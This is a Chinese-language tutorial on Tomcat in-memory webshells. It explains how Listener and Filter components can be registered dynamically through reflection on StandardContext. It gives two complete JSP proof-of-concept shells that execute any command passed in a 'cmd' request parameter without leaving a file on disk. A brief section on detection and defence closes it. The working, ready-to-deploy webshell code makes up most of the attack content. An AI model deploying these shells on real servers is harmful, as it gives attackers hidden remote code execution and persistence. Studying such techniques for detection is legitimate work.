从小白到大神 | 一篇文章带你了解内存马(附PoC)
字数 1491 2025-08-10 12:17:56
内存马技术详解与实战教学
一、基础概念
1.1 内存与硬盘的区别
-
硬盘:
- 存储程序的可执行文件、库文件、配置文件和其他数据文件
- 程序首次运行或需要时从硬盘加载到内存
- 容量大但读写速度较慢
-
内存:
- 存储程序运行时需要的指令和数据(代码、变量、对象、堆栈等)
- CPU直接从内存读取内容进行处理
- 容量小但读写速度快
1.2 内存马与传统木马的区别
| 特性 | 传统木马 | 内存马 |
|---|---|---|
| 存储位置 | 硬盘文件 | 内存 |
| 持久性 | 依赖文件存在 | 动态注册为程序一部分 |
| 检测难度 | 相对容易 | 难以检测 |
| 执行方式 | 文件执行 | 内存驻留 |
二、Tomcat内存马技术
2.1 技术背景
- Java会将JSP文件翻译成Servlet文件
- JSP支持热部署,可不停止服务添加新页面
- Servlet 3.0支持动态注册Web组件
2.2 Listener内存马
2.2.1 实现原理
-
调用链分析:
requestInitialized:13, Shell_Listener (Listener) fireRequestInitEvent:5992, StandardContext (org.apache.catalina.core) invoke:121, StandardHostValve (org.apache.catalina.core) invoke:92, ErrorReportValve (org.apache.catalina.valves) invoke:687, AbstractAccessLogValve (org.apache.catalina.valves) invoke:78, StandardEngineValve (org.apache.catalina.core) service:357, CoyoteAdapter (org.apache.catalina.connector) service:382, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748, Thread (java.lang) -
关键方法:
StandardContext.fireRequestInitEvent()调用监听器的requestInitialized方法- 通过
getApplicationEventListeners()获取监听器列表 - 使用
addApplicationEventListener()添加自定义监听器
2.2.2 实现步骤
-
获取
StandardContext对象:- 通过反射从
RequestFacade获取Request对象 - 从
Request对象获取StandardContext
- 通过反射从
-
创建恶意
ServletRequestListener实现类 -
使用
addApplicationEventListener()注册监听器
2.2.3 PoC代码
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%!
public class Shell_Listener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}
public void requestDestroyed(ServletRequestEvent sre) {}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>
2.3 Filter内存马
2.3.1 实现原理
-
调用链分析:
doFilter:11, Shell_Filter (Filter) internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) invoke:197, StandardWrapperValve (org.apache.catalina.core) invoke:97, StandardContextValve (org.apache.catalina.core) invoke:540, AuthenticatorBase (org.apache.catalina.authenticator) invoke:135, StandardHostValve (org.apache.catalina.core) invoke:92, ErrorReportValve (org.apache.catalina.valves) invoke:687, AbstractAccessLogValve (org.apache.catalina.valves) invoke:78, StandardEngineValve (org.apache.catalina.core) service:357, CoyoteAdapter (org.apache.catalina.connector) service:382, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748, Thread (java.lang) -
关键组件:
filterMaps:存储Filter映射关系filterDefs:存储Filter定义filterConfigs:存储Filter配置
2.3.2 实现步骤
-
获取
StandardContext对象 -
创建并配置
FilterMap:- 设置URL模式(
addURLPattern) - 设置Filter名称(
setFilterName) - 设置分发类型(
setDispatcher)
- 设置URL模式(
-
创建并配置
FilterDef:- 设置Filter实例(
setFilter) - 设置Filter名称(
setFilterName) - 设置Filter类名(
setFilterClass)
- 设置Filter实例(
-
创建
ApplicationFilterConfig并添加到filterConfigs
2.3.3 PoC代码
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class Shell_Filter implements Filter {
public void init(FilterConfig filterConfig) {}
public void destroy() {}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
String cmd = req.getParameter("cmd");
if (cmd != null) {
Runtime.getRuntime().exec(cmd);
}
filterChain.doFilter(servletRequest, servletResponse);
}
}
%>
<%
// 获取StandardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
// 创建恶意Filter
Shell_Filter filter = new Shell_Filter();
// 配置FilterDef
String name = "CommonFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
// 配置FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
// 配置FilterConfig
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
%>
三、防御措施
-
检测与防护:
- 监控JVM中动态加载的类和组件
- 检查Tomcat容器中的动态注册组件
- 使用RASP(运行时应用自我保护)技术
-
最佳实践:
- 限制动态注册Web组件的能力
- 定期检查容器中的Listener和Filter
- 实施最小权限原则
-
检测工具:
- 内存马检测工具(如Java-Memshell-Scanner)
- 行为分析工具
- 日志审计工具
四、总结
内存马技术利用Java Web容器动态注册机制,将恶意代码驻留在内存中,具有高度隐蔽性和持久性。理解其实现原理对于安全防护至关重要。防御方应关注运行时行为监控和异常组件检测,构建纵深防御体系。